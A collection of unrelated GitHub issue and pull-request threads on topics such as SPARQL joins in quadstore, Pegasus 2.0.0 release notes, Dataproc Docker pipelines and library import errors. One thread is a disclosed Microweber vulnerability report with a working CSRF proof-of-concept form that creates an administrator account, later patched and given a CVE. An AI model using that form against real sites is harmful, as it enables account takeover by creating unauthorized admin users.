Hi Chuan,
when I try to run shutterscrape.py it prompts me an import error.
Alexanders-MacBook-Pro:shutterscrape alexandersantiago$ python shutterscrape.py
Traceback (most recent call last):
File "shutterscrape.py", line 6, in
from urllib import urlopen
ImportError: cannot import name 'urlopen'
Can you help me on that one please?

I'm guessing that you are using Python 3 instead of Python 2. If this is the case, you may either try running shutterscrape.py with Python 2 or change the code to Python 3 syntax, e.g. from urllib.request import urlopen.

Thanks for the hint. I made some changes to the code according to Python 3 Syntax now. It works now. Thanks!
Great tool!


SPARQL join tests & fixes

Trying to track down some issues with SPARQL joins. There are two problems; I have only fixed one. See test/sparql/sparql.select.join.js:

Doing a basic join with two quad patterns (should join quad patterns) passes its test only in MemDOWN. I have scratched my head about why this might be but to no avail. @jacoscaz it would be great if you could have a quick look.
Doing a join where some of the candidate matches considered during the query have a literal in the Subject position was causing an Error to be thrown inside quadstore. I have fixed this by checking for Term Types in unexpected positions. In doing so I noted that the match API in quadstore is more restrictive than that in the RDFJS Store API. It appears that Comunica relies upon the looser definition taking Terms for all positions.

This is very weird! When run separately, the two SELECT queries with ?s <http://ex.com/knows> ?s2 and ?s2 <http://ex.com/greeting> "hi" seem to work all right on all backends. Furthermore, Comunica doesn't seem to be doing a nested join as I had expected. I'll look into this and let you know.

This is very weird! When run separately, the two SELECT queries with ?s <http://ex.com/knows> ?s2 and ?s2 <http://ex.com/greeting> "hi" seem to work all right on all backends. Furthermore, Comunica doesn't seem to be doing a nested join as I had expected. I'll look into this and let you know.

In the meantime, the RDF 1.1 spec doesn't seem to allow Literal nodes as subjects: https://www.w3.org/TR/rdf11-concepts/#section-triples

In the meantime, the RDF 1.1 spec doesn't seem to allow Literal nodes as subjects: https://www.w3.org/TR/rdf11-concepts/#section-triples

RDF 1.1 spec doesn't seem to allow Literal nodes as subjects

Indeed not. However, it seems that when the variables candidate bindings are being explored, Comunica nevertheless can end up calling match with a literal as the first argument. Hence, my fix is to make quadstore allow that, but simply return an empty iterator. According to the strict Store API spec, any Term can be used, so I think my fix is correct. Maybe @rubensworks can confirm.

RDF 1.1 spec doesn't seem to allow Literal nodes as subjects

Indeed not. However, it seems that when the variables candidate bindings are being explored, Comunica nevertheless can end up calling match with a literal as the first argument. Hence, my fix is to make quadstore allow that, but simply return an empty iterator. According to the strict Store API spec, any Term can be used, so I think my fix is correct. Maybe @rubensworks can confirm.

@rubensworks a couple of questions for you:

When using patterns like this one

?s2 <http://ex.com/greeting> "hi" .
?s ?p ?s2 .

Comunica seems to invoke the match() method of RDF/JS sources even when s2 is bound to a Literal, which should make it unqualified to be used as a subject if I understand correctly. Leaving aside that quadstore is making this harder to debug because there's something preventing the resulting errors from bubbling up to (or through) Comunica, how should I address cases like this? Should I just return an empty set/iterator of quads?

We have a test case in which the following query results in an empty set of quads even though it shouldn't. This only happens with disk-based storage backends and doesn't happen with the in-memory backend.

      SELECT * {
          ?s <http://ex.com/knows> ?s2 .
          ?s2 <http://ex.com/greeting> "hi"
        }

What's strange is that if I run two separate queries, one for each of those patterns, I get the expected results and I am able to join them by hand. As all the backends are abstracted via the AbstractLevelDOWN interface, could there be a timing issue somewhere? Have you ever encountered anything like this?

@rubensworks a couple of questions for you:

When using patterns like this one

?s2 <http://ex.com/greeting> "hi" .
?s ?p ?s2 .

Comunica seems to invoke the match() method of RDF/JS sources even when s2 is bound to a Literal, which should make it unqualified to be used as a subject if I understand correctly. Leaving aside that quadstore is making this harder to debug because there's something preventing the resulting errors from bubbling up to (or through) Comunica, how should I address cases like this? Should I just return an empty set/iterator of quads?

We have a test case in which the following query results in an empty set of quads even though it shouldn't. This only happens with disk-based storage backends and doesn't happen with the in-memory backend.

      SELECT * {
          ?s <http://ex.com/knows> ?s2 .
          ?s2 <http://ex.com/greeting> "hi"
        }

What's strange is that if I run two separate queries, one for each of those patterns, I get the expected results and I am able to join them by hand. As all the backends are abstracted via the AbstractLevelDOWN interface, could there be a timing issue somewhere? Have you ever encountered anything like this?

Thanks for having a look @jacoscaz. With regard to the Leveldown behaviour being different to Memdown, I've been experimenting with a hypothesis that there is a race condition – in Memdown the race is always won because of the very fast query response, on the microtask queue. In particular, I thought it was suspicious that quadstore's match implementation has to wait for a promise to return before setting the source on the return iterator here:
https://github.com/beautifulinteractions/node-quadstore/blob/560b28204150ff1dc047788c37cf8d8e8c58dbd2/lib/quadstore.ts#L178
TransformIterator is able to take a promise as a first argument, so I tried using the promise from the getStream call. All other tests pass, but it doesn't fix the problem, sadly. Investigations continue!

Thanks for having a look @jacoscaz. With regard to the Leveldown behaviour being different to Memdown, I've been experimenting with a hypothesis that there is a race condition – in Memdown the race is always won because of the very fast query response, on the microtask queue. In particular, I thought it was suspicious that quadstore's match implementation has to wait for a promise to return before setting the source on the return iterator here:
https://github.com/beautifulinteractions/node-quadstore/blob/560b28204150ff1dc047788c37cf8d8e8c58dbd2/lib/quadstore.ts#L178
TransformIterator is able to take a promise as a first argument, so I tried using the promise from the getStream call. All other tests pass, but it doesn't fix the problem, sadly. Investigations continue!

Quick update on this - I've tried refactoring getStream() into a synchronous method so that match() immediately gets the actual iterator rather than the pass-through transform iterator but doing so did not make any difference WRT to the join issue. I wonder if there's something in the lib/get/leveliterator.ts wrapper that is causing this?

Quick update on this - I've tried refactoring getStream() into a synchronous method so that match() immediately gets the actual iterator rather than the pass-through transform iterator but doing so did not make any difference WRT to the join issue. I wonder if there's something in the lib/get/leveliterator.ts wrapper that is causing this?

Comunica seems to invoke the match() method of RDF/JS sources even when s2 is bound to a Literal, which should make it unqualified to be used as a subject if I understand correctly.

Indeed, strictly speaking, RDF does not allow literals in subject position.
Comunica deliberately does not strictly check this, as some users may want to use it for querying under generalized RDF mode.
Furthermore, always checking term types before binding may introduce some performance overhead, so Comunica expects that the store simply returns empty results in those cases. This should be in line with the semantics of RDF/JS, where generalized RDF is also possible by default.

We have a test case in which the following query results in an empty set of quads even though it shouldn't.

In case you are manually creating asynciterators, you could try enabling the autoStart flag.
This may have something to do with it.
If you're not creating such iterators, then I don't really have an idea what could be causing this.

Comunica seems to invoke the match() method of RDF/JS sources even when s2 is bound to a Literal, which should make it unqualified to be used as a subject if I understand correctly.

Indeed, strictly speaking, RDF does not allow literals in subject position.
Comunica deliberately does not strictly check this, as some users may want to use it for querying under generalized RDF mode.
Furthermore, always checking term types before binding may introduce some performance overhead, so Comunica expects that the store simply returns empty results in those cases. This should be in line with the semantics of RDF/JS, where generalized RDF is also possible by default.

We have a test case in which the following query results in an empty set of quads even though it shouldn't.

In case you are manually creating asynciterators, you could try enabling the autoStart flag.
This may have something to do with it.
If you're not creating such iterators, then I don't really have an idea what could be causing this.

so Comunica expects that the store simply returns empty results in those cases

Sounds good! I was not aware of the generalized RDF mode.

you could try enabling the autoStart flag

Good idea, I'll test this shortly. Thanks!

so Comunica expects that the store simply returns empty results in those cases

Sounds good! I was not aware of the generalized RDF mode.

you could try enabling the autoStart flag

Good idea, I'll test this shortly. Thanks!

I think I've found the culprit. There are cases in which store.db.approximateSize() rounds the actual non-zero size to 0. This leads Quadstore.prototype.getApproximateSize() to return 0, which in turn causes Quadstore.prototype.countQuads() to return 0, which in turn tricks Comunica into thinking there are no quads available.

I think I've found the culprit. There are cases in which store.db.approximateSize() rounds the actual non-zero size to 0. This leads Quadstore.prototype.getApproximateSize() to return 0, which in turn causes Quadstore.prototype.countQuads() to return 0, which in turn tricks Comunica into thinking there are no quads available.

@gsvarovsky I've just pushed the fix for the broken JOIN queries to master, including your tests. Can you test it?

@gsvarovsky I've just pushed the fix for the broken JOIN queries to master, including your tests. Can you test it?

@gsvarovsky just pushed the fix for breaking queries when in generalized rdf mode with a literal subject. I'll release tomorrow or whenever you get a chance to validate these fixes. Just FYI, a more definitive fix (and potentially support for generalized rdf mode, not sure yet) will come in v8.0, for which I'm planning a significant upheaval of the (de)serialization mechanism that will save a ton of storage space and should get us much closer to the raw performance of the AbstractLevelDOWN.

@gsvarovsky just pushed the fix for breaking queries when in generalized rdf mode with a literal subject. I'll release tomorrow or whenever you get a chance to validate these fixes. Just FYI, a more definitive fix (and potentially support for generalized rdf mode, not sure yet) will come in v8.0, for which I'm planning a significant upheaval of the (de)serialization mechanism that will save a ton of storage space and should get us much closer to the raw performance of the AbstractLevelDOWN.

Super! I've tested locally using the quadstore unit tests and m-ld's unit test suite with Memdown. I'm buried in a branch which is not ready for integration tests (where persistence is tested), so if you don't mind, I'll take it on faith that Leveldown works too, for now.

Super! I've tested locally using the quadstore unit tests and m-ld's unit test suite with Memdown. I'm buried in a branch which is not ready for integration tests (where persistence is tested), so if you don't mind, I'll take it on faith that Leveldown works too, for now.


feature-save-file

demo: https://3d.hrg.hr/jscad/save/
like mentioned in https://github.com/hrgdavor/jscadui/issues/88#issuecomment-1906776094
feature  to allow ctrl+s to save file from editors
basic flow is initally implemented for solo script in the editor,

[x] first save opens dialog
[x] subsequent save saves into the same file

more to do

[x] change internal file name to the file name that dropped (single file)
[x] dropped (single file) without save dialog
[x] provide file name proposal
[x] reset reference to file name after new script is loaded examples or other source
[x] reset file entry list when example loaded after folder loaded
[x] use file handle from drag and drop to save the same file
[x] change internal file name to the file name that was selected

not caused here

[x] refresh editor when file is changed on disk (change is seen in render result, but not in editor source)

https://github.com/hrgdavor/jscadui/assets/2480762/31bc8ea9-180d-488f-8c57-694bc8588156

Save a file from the browser, then edit the FILE locally. The code editor in the browser does not update.

ok, this is also fixed.
I am merging this as it seems to work ok.
currently file handling is done with mixed usage of old  https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API and new https://developer.mozilla.org/en-US/docs/Web/API/File_System_API
I will open a new branch to refactor and see if drag drop and this save showSaveFilePicker can all be done using the new File_System_API


Dockerise the pipeline and use Dataproc Serverless for computation

Closes https://github.com/opentargets/issues/issues/3121.
Introduction
This PR introduces two major architectural constructs which to my knowledge we haven't used at Open Targets before (certainly not in Data team architecture or in the Genetics rewrite):

Using Docker with Dataproc;
Running pipelines on Dataproc Serverless.

Context: Docker
While Docker is of course the standard approach for making pipelines reproducible, unfortunately it lacks smooth, obvious integration with Spark + YARN + Hadoop architecture.
Classic Dataproc running on Compute Engine does not support Docker at all. Instead, it provides a hacky way to create custom instance images. We don't want to go that way.
Context: Dataproc Serverless
This is a relatively new product which allows us to forget about managing a cluster directly. We just submit a job and the cloud does the magic under the hood.
Importantly, it allows specifying a custom Docker image to use. Because it uses a feature called image streaming, unrolling this image on new workers is faster than running an initialisation script.
In my experience, Dataproc Serverless cuts the overhead for initialising a cluster approximately from 4½ to 2 minutes, reducing turnaround time.
Specific changes in this PR

Added Dockerfile which can be used to build an image suitable for running on Dataproc Serverless.
Added documentation on building and uploading a Dockerfile.
Simplified configuration, so that instead of three distinct parameters we have just one.
Massively simplified running instructions, which now include essentially just a single command.
Removed the initialise_cluster.sh script which is no longer necessary.
Reimplemented ingesting post-ETL evidence to avoid using hadoop command directly, which is considered bad practice and is not supported on Dataproc Serverless.

Conclusion
The architecture in this PR is still not ideal and not final; I have some ideas how to make it even more slim and elegant. However, even in its current state I believe it provides very important insights.
Speaking broadly, we are now one step closer to be able to containerise each of our pipelines as an independent, self-contained running block, which can then be linked together via Airflow.

@ireneisdoomed Thank you very much for your review! I addressed your comments:

Always specify project ID directly
Use metadata file instead to detect timestamp

And also added some more updates:

Reorganised input/output paths to separate data and metadata
Changed output path to write the metrics: rather than having a metadata subdirectory under the data directory (output/etl/parquet/metadata/metrics), it's now just added directly to metadata (output/metadata/metrics.tsv). Please let me know if you object to this change and we can discuss
Added logic and docs to be able to do PPP runs
Expanded read_path_if_provided() to be able to read JSON directories as well as Parquet ones

For your convenience, here's the diff link with only those recent changes


Release 2.0.0

2.0.0-RC1
rDSN

PR (26 RELEASED, 26 TOTAL)
TITLE

XiaoMi/rdsn#459
fix: fix the bug in restore

XiaoMi/rdsn#457
feat(bulk-load): meta server send bulk load request

XiaoMi/rdsn#454
feat(bulk-load): meta server start bulk load

XiaoMi/rdsn#443
feat(cold-backup): add rate limit for fds

XiaoMi/rdsn#456
feat: update rpc_holder

XiaoMi/rdsn#455
fix: fix bug in local_service

XiaoMi/rdsn#452
fix: fix memory leak in meta_load_balance_test

XiaoMi/rdsn#445
feat(bulk-load): add meta_bulk_load_service and some structures

XiaoMi/rdsn#450
feat(dup): optimize time-lag by reducing repeat delay

XiaoMi/rdsn#451
fix: fix memory leak in meta_state_service_simple

XiaoMi/rdsn#275
refactor(util): use flags to define configurations

XiaoMi/rdsn#448
fix(dup): don't GC by valid_start_offset during duplication & add app_name to replica_base

XiaoMi/rdsn#433
feat: update the way to get heap profile

XiaoMi/rdsn#449
fix: fix memory leak in meta test

XiaoMi/rdsn#441
feat(hotkey): add replication.codes about hotkey detect

XiaoMi/rdsn#447
fix(asan): memory leak in local_service.cpp

XiaoMi/rdsn#442
feat(util): add restore_read function in rpc_message

XiaoMi/rdsn#391
feat(split): register child partition

XiaoMi/rdsn#446
fix(asan): heap-use-after-free caused by using string_view in fail_point

XiaoMi/rdsn#418
feat: append mlog in fixed-size blocks using log_appender

XiaoMi/rdsn#436
refactor: simplify mutation_log write_pending_mutations

XiaoMi/rdsn#434
refactor(backup): move collect_backup_info to replica_backup_manager

XiaoMi/rdsn#432
refactor(backup): make backup clear decoupled from on_cold_backup

XiaoMi/rdsn#419
feat: add perf-counter for backup request

XiaoMi/rdsn#408
feat: refine mlog_dump output

XiaoMi/rdsn#255
refactor(rpc): refactor request meta & add support for backup request

Pegasus

PR (20 RELEASED, 20 TOTAL)
TITLE

XiaoMi/pegasus#534
fix: fix bug in local_service

XiaoMi/pegasus#532
feat(rocksdb): Support to config meta data read source

XiaoMi/pegasus#530
improvement(cu): set ttl on capacity unit data

XiaoMi/pegasus#528
improvement(lb): add add_node_list.sh to add nodes with copy_pri after all copy_sec done

XiaoMi/pegasus#529
improvement: add logging on rocksdb write stalls

XiaoMi/pegasus#526
feat(dup): add metric for time lag between master&slave

XiaoMi/pegasus#525
fix: bind prometheus exposer to <IP_ADDRESS>

XiaoMi/pegasus#524
refactor(server_impl): Separate constructor to an independent file

XiaoMi/pegasus#522
feat(rocksdb): Support more configurable items for bloom filter

XiaoMi/pegasus#520
feat(dup): support shell set fail_mode and collector duplication ops

XiaoMi/pegasus#521
feat(metrics): Add bloom filter related metrics

XiaoMi/pegasus#519
feat(shell): count_data return estimate count by default

XiaoMi/pegasus#514
fix(collector): no validate the app_name after parse_app_perf_counter_name

XiaoMi/pegasus#504
fix: include key size while calculating capacity units

XiaoMi/pegasus#494
feat(rocksdb): write meta info both in manifest and meta CF

XiaoMi/pegasus#501
feat: statistics backup request qps in info collector

XiaoMi/pegasus#499
feat: support of getting backup request perf-counter in command_helper

XiaoMi/pegasus#473
feat(rocksdb): Bump rocksdb to v6.6.4

XiaoMi/pegasus#459
feat(dup): write pegasus value in new data version for duplication

XiaoMi/pegasus#436
chore: upgrade dev version to 1.13.SNAPSHOT

Incompatitable Modifications

XiaoMi/pegasus#459
feat(dup): write pegasus value in new data version for duplication

XiaoMi/pegasus#473
feat(rocksdb): Bump rocksdb to v6.6.4

XiaoMi/rdsn#255
refactor(rpc): refactor request meta & add support for backup request

New perf-counter

collector*app.pegasus*app.stat.backup_request_qps #<app_name> https://github.com/XiaoMi/pegasus/pull/501

replica*app.pegasus*rdb.bf_seek_total@<gpid> https://github.com/XiaoMi/pegasus/pull/521

replica*app.pegasus*rdb.bf_seek_negatives<gpid> https://github.com/XiaoMi/pegasus/pull/521

replica*app.pegasus*rdb.bf_point_positive_true<gpid> https://github.com/XiaoMi/pegasus/pull/521

replica*app.pegasus*rdb.bf_point_positive_total<gpid> https://github.com/XiaoMi/pegasus/pull/521

replica*app.pegasus*rdb.bf_point_negatives<gpid> https://github.com/XiaoMi/pegasus/pull/521

collector*app.pegasus*app.stat.rdb_bf_seek_negatives_rate#<app_name> https://github.com/XiaoMi/pegasus/pull/521

collector*app.pegasus*app.stat.rdb_bf_point_negatives_rate#<app_name> https://github.com/XiaoMi/pegasus/pull/521

collector*app.pegasus*app.stat.rdb_bf_point_false_positive_rate#<app_name> https://github.com/XiaoMi/pegasus/pull/521

collector*app.pegasus*app.stat.duplicate_qps#<app_name> https://github.com/XiaoMi/pegasus/pull/520

collector*app.pegasus*app.stat.dup_shipped_ops#<app_name> https://github.com/XiaoMi/pegasus/pull/520

collector*app.pegasus*app.stat.dup_failed_shipping_ops#<app_name> https://github.com/XiaoMi/pegasus/pull/520

replica*app.pegasus*dup.time_lag_ms@<app_name> https://github.com/XiaoMi/pegasus/pull/526

replica*app.pegasus*dup.lagging_writes@<app_name> https://github.com/XiaoMi/pegasus/pull/526

replica*eon.replica*backup_request_qps@<app_name> https://github.com/XiaoMi/rdsn/pull/419

New configuration
[pegasus.server]
+rocksdb_bloom_filter_bits_per_key = 10
+rocksdb_format_version = 2
+dup_lagging_write_threshold_ms = 10000
+get_meta_store_type = manifest

[replication]
+ fds_write_limit_rate = 20
+ fds_read_limit_rate = 20

[pegasus.server] rocksdb_bloom_filter_bits_per_key, rocksdb_format_version https://github.com/XiaoMi/pegasus/pull/522
[pegasus.server] dup_lagging_write_threshold_ms https://github.com/XiaoMi/pegasus/pull/526
[pegasus.server] get_meta_store_type https://github.com/XiaoMi/pegasus/pull/532
[replication] fds_write_limit_rate, fds_read_limit_rate https://github.com/XiaoMi/rdsn/pull/443

Release Note
The following are the highlights in this release:
Duplication
Duplication is the solution of Pegasus for intra-cluster data copying in real-time. We currently limit our master-master duplication for 'PUT' and 'MULTI_PUT' only. See this document for more details:
https://pegasus-kv.github.io/administration/duplication.
Backup Request
Backup Request is a way to eliminate tail latency by sacrificing minor data consistency, fallback reading from a random secondary when the primary read failed to finish at the expected time.
See the discussion here: https://github.com/XiaoMi/pegasus/issues/251.
RocksDB Meta CF
Pegasus currently has a hacked version of RocksDB that stores a few metadata in the manifest file, which makes our RocksDB incompatible with the official version. In this version, we exploit an additional column family (called 'Meta CF') to store those metadata.
To finally get rid of the legacy RocksDB, you must first upgrade the ReplicaServer to 2.0.0.
Bloom Filter Optimization

2.0.0-RC2
rDSN

PR (5 TOTAL)
TITLE

XiaoMi/rdsn#472
fix(dup): reject add_dup if remote address incorrect

XiaoMi/rdsn#474
refactor: use rpc_holder to reimplement on_query_configuration_by_index

XiaoMi/rdsn#470
fix: fix memory leak in dsn_message_parser

XiaoMi/rdsn#461
feat: add rate limit for learning and support remote-command

XiaoMi/rdsn#458
refactor: change large write size request forbiden log


Key can't be number in Proxy

TypeScript Version:  3.7.x-dev.201xxxxx

Search Terms:
Code
new Proxy({}, { get(target, key) {
    // key is type number | string | symbol which is impossible.
})

Expected behavior:
key be string | symbol
Actual behavior:
key be number | string | symbol

Fixed in #35594


There is a CSRF vulnerability that can add the administrator account

After the administrator logged in, open the following page to add an administrator.
POC:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo1.microweber.com/api/save_user" method="POST">
      <input type="hidden" name="id" value="0" />
      <input type="hidden" name="thumbnail" value="" />
      <input type="hidden" name="username" value="3333" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="email" value="3333@qq.com" />
      <input type="hidden" name="first_name" value="222" />
      <input type="hidden" name="last_name" value="222" />
      <input type="hidden" name="is_active" value="1" />
      <input type="hidden" name="is_admin" value="1" />
      <input type="hidden" name="basic_mode" value="1" />
      <input type="hidden" name="api_key" value="15" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf[1]) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts.[2] There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

CSRF commonly has the following characteristics:
It involves sites that rely on a user's identity.
It exploits the site's trust in that identity.
It tricks the user's browser into sending HTTP requests to a target site.
It involves HTTP requests that have side effects.

So it is effective

i see your point, this is a valid issue, we will fix it soon

hi @731276192 i just added a patch to the issue.
please contact us from the website to add your name here on our list of contributors

hi @AutismJH , here is the CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17104
the issue is now fixed and new zip is released , thank you for your report

I have received the notice from CVE, thank you very much, this is very useful to me, thank you.


Difference with async-local-storage

Can someone explain what is the difference between this library compared to https://github.com/vicanso/async-local-storage ? That library seems super simple.
I checked other solutions as we are having issues with destroying the namespace.
Is destroying the namespace necessary on every request?
Here is our middleware:
return async function(ctx, next) {
      const namespace = continuationLocalStorage.createNamespace('session');

      try{
        await new Promise(namespace.bind(function(resolve, reject) {
          namespace.set('request_id', ctx.request.header['x-request-id']);

          next().then(resolve).catch(reject);
        }));
      } catch(error) {
        throw error;
      } finally {
        continuationLocalStorage.destroyNamespace('session');
      }
    };

They are doing basically the same thing. If you are on node 8.x+ and using async functions, I'd recommend async-local-storage. This module was meant for backwards support to the AsyncListener feature in 0.x versions of node. It currently does not work with async/await though.


Enhance test coverage for call_derivation(), derive_vars_merged(), get_not_mapped()

Background Information
It would be great to get {admiral}'s test coverage to 100%. However, this should not come at the expense of development time/effort from {admiral} core developers. As such, I have made a set of issues tagged "Unit Tests" (such as this one for call_derivation(), derive_vars_merged() and get_not_mapped()) where users who wish to dip their feet into the {admiral} ecosystem can:

Learn a bit about unit testing for R packages
Make a meaningful contribution to {admiral}

by adding or modifying unit tests to account for lines not previously covered.
Important note: Given the above, this issue is for newcomers to {admiral} or users who wish to contribute to the package, and should not be taken on by core {admiral} developers.
Definition of Done

[ ] Unit test(s) added/modified to test the lines in red in call_derivation():

[ ] Unit test(s) added/modified to test the lines in red in derive_vars_merged():

[ ] Unit test(s) added/modified to test the lines in red in get_not_mapped():

@manciniedoardo We might want to break these up into individual issues?
I think some of this environment handling tests are not easy - perhaps that is why there is no coverage of them

line # 783:    get_not_mapped()  - Goal:  get this function to run (code coverage).
(Trying to find another way to explain this ....)


PopupUI at the bottom of the stack

Having trouble with PopupUI. I am able to use it as a Welcome screen popup, but later in the app when I want to use the PopupUI again it does not display. I can see in the debug that the new PopupUI that is being initialized is at the bottom of my view stack.

resolved, by reinitializing  .popupUI() not just in the root view


Add Content-Type to all sample requests

Content-Type is required when making JSON requests, so add it to all the sample requests.
These samples are used in the docs: https://lemur.readthedocs.io/en/0.8.0/developer/index.html#rest-api

Coverage remained the same at 60.753% when pulling 9a0f0002598cae94eeb31dc6ad45a2fbe4a2c861 on jtschladen:add-Content-Type-to-docs into 470068f03e97ea3e7c918f74340abf728cd381b4 on Netflix:master.


GSD Request

--- GSD JSON ---
{
  "vendor_name": "Linux",
  "product_name": "Kernel",
  "product_version": "versions from v4.16 to before v4.19.222",
  "vulnerability_type": "unspecified",
  "affected_component": "unspecified",
  "attack_vector": "unspecified",
  "impact": "unspecified",
  "credit": "",
  "references": [
    "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=395cacb5f1a0a290f1ae9ca4692c400d2b57a705",
    "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=d861443c4dc88650eed113310d933bd593d37b23"
  ],
  "extended_references": [
    {
      "type": "commit",
      "value": "395cacb5f1a0a290f1ae9ca4692c400d2b57a705",
      "note": "introduced"
    },
    {
      "type": "commit",
      "value": "d861443c4dc88650eed113310d933bd593d37b23",
      "note": "fixed"
    }
  ],
  "reporter": "joshbressers",
  "reporter_id": 1692786,
  "notes": "",
  "description": "netdevsim: Zero-initialize memory for new map's value in function nsim_bpf_map_alloc\n\nThis is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven.\nThis ID is fixed in Linux Kernel version v4.19.222 by commit d861443c4dc88650eed113310d933bd593d37b23, it was introduced in version v4.16 by commit 395cacb5f1a0a290f1ae9ca4692c400d2b57a705. For more details please see the references link."
}
--- GSD JSON ---

This issue has been assigned GSD-2021-1002654


Fix 1.1.0 rc1 issues

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 62.39%. Comparing base (483819a) to head (088ae1b).

Additional details and impacted files
@@           Coverage Diff           @@
##           rc/1.1     #283   +/-   ##
=======================================
  Coverage   62.39%   62.39%
=======================================
  Files         419      419
  Lines       27602    27602
  Branches     3598     3598
=======================================
  Hits        17222    17222
  Misses      10041    10041
  Partials      339      339

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

The Gorilla and Chimp files ... do we have a software-grant for them? If not we should have the original file-header on them.
It seems that the author used no header, then we should probably change the headers in these files to this one:
Copyright [yyyy] [name of copyright owner]

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

However ... seeing that the files in there are greatly different from the ones in the original repo ... one might argue that it's ok to leave our own headers in there.

The Gorilla and Chimp files ... do we have a software-grant for them?

For Chimp, absolute yes. The Chimp code in TsFile was actually contributed by the author of Chimp. See https://github.com/apache/iotdb/pull/8766 and https://www.linkedin.com/posts/apache-iotdb_apacheiotdb-activity-7026131776376860672-eVFI?utm_source=share&utm_medium=member_desktop
As for gorilla, I don't think so. So, we need to change some headers, right?

However ... seeing that the files in there are greatly different from the ones in the original repo ... one might argue that it's ok to leave our own headers in there.

ok, so we are good now?


Grammar-Based Prompt Format Optimization

Hi,
As I’m learning about DSPy, I came across an interesting approach that uses grammar-based prompt format optimization. I’m curious if this is something already implemented in DSPy, or if the current method is considered more effective.
The method I found involves defining a prompt format optimization problem as a search over a space of semantically equivalent prompt formats defined by a grammar. They propose using Bayesian optimization to explore this space efficiently under a user-specified computational budget.
Here’s the paper for reference:
Quantifying Language Models' Sensitivity to Spurious Features in Prompt Design or: How I learned to start worrying about prompt formatting

Paper: https://arxiv.org/abs/2310.11324

GitHub: https://github.com/msclar/formatspread

Thanks for your insights!

This might be better placed in Discussions, and feel free to explore the MIPROv2 optimizer which uses Bayesian optimization to produce optimized prompts - might be a useful application here or room for improvement to include in MIPRO!


[Package Request]: Microsoft SQL Server 2017 Developer

Publisher: Microsoft Corporation
Publisher Url: https://www.microsoft.com/
Publisher Support Url: https://support.microsoft.com/
Package Name: Microsoft.SQLServer.2017.Developer
Description: SQL Server 2017 Developer is a full-featured free edition, licensed for use as a development and test database in a non-production environment.
Homepage: https://www.microsoft.com/sql-server/sql-server-2017
Package Version: 14.2204.5490.2
Release Notes Url: https://docs.microsoft.com/sql/sql-server/sql-server-2017-release-notes
Installer URL: https://download.microsoft.com/download/5/A/7/5A7065A2-C81C-4A31-9972-8A31AC9388C1/SQLServer2017-SSEI-Dev.exe

https://github.com/microsoft/winget-pkgs/issues/25931#issuecomment-906285627

So, the app fails to install without user input. Help is needed for silent switches...

See #25931 for the discussion on proposed technical implementation.

Mainstream support for SQL Server 2017 ended on 2022-10-11, but extended support is until 2027-10-12.

Close with reason: Exists as Microsoft.SQLServer.2017.Developer;


do not merge: revise superclass for MONDO_0005328

addresses #525

The action item for this is still under discussion still on #525

I don't think this change is needed any longer, I am going to close this PR


where is SemanticSegmentationEvaluator

Hi
I tried training SegNet on chainercv==0.5.1 only to face below
Traceback (most recent call last):
  File "train.py", line 21, in <module>
    from chainercv.extensions import SemanticSegmentationEvalutor
ImportError: cannot import name SemanticSegmentationEvaluator

my env:

python 2.7.12
chainer==2.0.0
chainercv==0.5.1

Thanks for reporting.
SemanticSegmentationEvaluator has not been added to any release yet (although we will release version with it in a day or so).
There are two ways to run your code.

Use example in 0.5.1 branch https://github.com/chainer/chainercv/tree/v0.5.1
Or, you can install chainercv at HEAD of this repo.

Thank you for quick reply.
I got it.
lookin forward to next release


[Segment Replication] Add timeout on method invocation verification

Signed-off-by: Suraj Singh<EMAIL_ADDRESS>Description
The existing failure happens during onNewCheckpoint method invocation verification on specific checkpoint (anotherNewCheckpoint in this test). It might possilbly be related to a race condition in mockito where method call capture resolution is delayed. This tests passes 100% on ading a minute timeout on verification call.
verify(spy, timeout(0).times(2)).onNewCheckpoint(eq(anotherNewCheckpoint), any());

Issues Resolved
#4312
Check List

[ ] New functionality includes testing.

[x] All tests pass

[ ] New functionality has been documented.

[ ] New functionality has javadoc added

[x] Commits are signed per the DCO using --signoff
[x] Commit changes are listed out in CHANGELOG.md file (See: Changelog)

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Codecov Report

Merging #4314 (912b88c) into main (65f966e) will increase coverage by 0.02%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##               main    #4314      +/-   ##
============================================
+ Coverage     70.67%   70.70%   +0.02%
+ Complexity    57237    57232       -5
============================================
  Files          4611     4611
  Lines        275108   275108
  Branches      40284    40284
============================================
+ Hits         194437   194512      +75
+ Misses        64401    64292     -109
- Partials      16270    16304      +34

Impacted Files
Coverage Δ

...pensearch/client/cluster/RemoteConnectionInfo.java
0.00% <0.00%> (-68.30%)
:arrow_down:

...a/org/opensearch/client/cluster/ProxyModeInfo.java
0.00% <0.00%> (-55.00%)
:arrow_down:

...cluster/coordination/PendingClusterStateStats.java
20.00% <0.00%> (-48.00%)
:arrow_down:

.../org/opensearch/client/indices/AnalyzeRequest.java
31.00% <0.00%> (-45.00%)
:arrow_down:

...n/decider/SnapshotInProgressAllocationDecider.java
